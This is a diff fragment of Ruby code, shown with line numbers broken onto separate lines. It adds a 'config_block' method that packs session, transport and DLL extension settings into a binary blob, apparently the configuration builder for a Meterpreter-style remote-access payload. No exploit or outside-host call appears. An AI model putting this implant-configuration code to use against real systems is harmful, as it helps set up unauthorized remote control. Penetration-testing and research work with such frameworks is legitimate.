|
123
|
+
def config_block
|
|
124
|
+
# start with the session information
|
|
125
|
+
config = session_block(@opts)
|
|
126
|
+
|
|
127
|
+
# then load up the transport configurations
|
|
128
|
+
(@opts[:transports] || []).each do |t|
|
|
129
|
+
config << transport_block(t)
|
|
130
|
+
end
|
|
131
|
+
|
|
132
|
+
# terminate the transports with NULL (wchar)
|
|
133
|
+
config << "\x00\x00"
|
|
134
|
+
|
|
135
|
+
# configure the extensions - this will have to change when posix comes
|
|
136
|
+
# into play.
|
|
137
|
+
file_extension = 'x86.dll'
|
|
138
|
+
file_extension = 'x64.dll' unless is_x86?
|
|
139
|
+
|
|
140
|
+
(@opts[:extensions] || []).each do |e|
|
|
141
|
+
config << extension_block(e, file_extension)
|
|
142
|
+
end
|
|
143
|
+
|
|
144
|
+
# terminate the extensions with a 0 size
|
|
145
|
+
if is_x86?
|
|
146
|
+
config << [0].pack('V')
|
|
147
|
+
else
|
|
148
|
+
config << [0].pack('Q<')
|
|
149
|
+
end
|
|
150
|
+
|
|
151
|
+
# and we're done
|
|
152
|
+
config
|
|
153
|
+
end
|
|
154
|
+
end
|